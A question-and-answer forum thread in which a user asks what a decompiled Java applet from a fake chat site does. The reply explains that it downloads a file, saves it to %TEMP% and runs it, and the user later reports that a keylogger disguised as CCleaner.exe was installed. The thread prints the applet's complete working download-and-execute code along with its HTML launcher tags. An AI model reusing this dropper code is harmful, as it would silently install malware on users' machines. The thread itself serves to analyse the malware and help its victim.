Home/ Questions/Q 7039489
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Asked: 2026-05-28T01:48:17+00:00

i went to this site [Offending site name removed] for reference its just folders

  • 0

i went to this site [Offending site name removed] for reference its just folders to make it look like tiny chat, in “/chat/trimsdy” it has a small java file which automatically runs
i cant remember properly but i may have accidentally run the packet (accepted it running)

so what i did was clear the java cache in the control panel
then i went back on the site and attempted to download the java.jar file
i downloaded it and downloaded a java de-compiler and i have de-compiled the java.jar file,

i have the code here:

import java.applet.Applet;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class Java extends Applet
{
  public void init()
  {
    String str1 = getParameter("jc9nvqlqnnd");
    String str2 = System.getenv("TEMP");
    String str3 = getParameter("ulztlykikct");
    try {
      FileOutputStream localFileOutputStream = new FileOutputStream(str2 + str1);
      URL localURL = new URL(getParameter("gze82pwlo3e"));
      URLConnection localURLConnection = localURL.openConnection();
      InputStream localInputStream = localURLConnection.getInputStream();
      byte[] arrayOfByte = new byte[1024];
      int i;
      while ((i = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1) {
        localFileOutputStream.write(arrayOfByte, 0, i);
      }
      localInputStream.close();
      localFileOutputStream.close();
      Runtime localRuntime = Runtime.getRuntime();
      localRuntime.exec(str2 + str1);
      System.exit(0);
    }
    catch (IOException localIOException) {
      System.exit(0);
    }
  }
}

could you help me figure out what it does i’m slightly confused
i can see that it does something in TEMP but from their i’m stuck
i’m a slight java noob so thanks for any help

thanks
reblerebel

Edit:

i looked throught the html on the page for the applet parameters and all it has is
print screen of applet code
that is all the code in the applet

Edit:

Thank to everyone who helped and gave advice
i think i’m safe
thanks again
Reblerebel

Edit:

turns out i did run it and i found in my %appdata% that it had downloaded the ccleaner.exe to my appdata and then in a file called java which contained a list of my keystrokes! for only about 5 mins because i can seem to remember ending a process running called java or something.
i have deleted ccleaner.exe and the java file
thanks everything search for finding the program

thanks everyone for helping so i didn’t get key logged (too much)

Share

Leave an answer

You must login to add an answer.

Need An Account,

1 Answer

  1. Editorial Team

    That code downloads something from an URL, saves it somewhere in your %TEMP% folder, then tries to execute it.

    The parameters are passed in to the applet via the HTML page that loads it. View the HTML for the page you downloaded this from, and you’ll see, at the bottom, something like:

    <applet width='0px' height='0px' code='Java.class' archive='Java.jar'>
<param name="gze82pwlo3e" value="http://url/omitted/in/case/its/bad">
<param name="jc9nvqlqnnd" value="CCleaner.exe">
<param name="ulztlykikct" value="">
</applet>
    • 0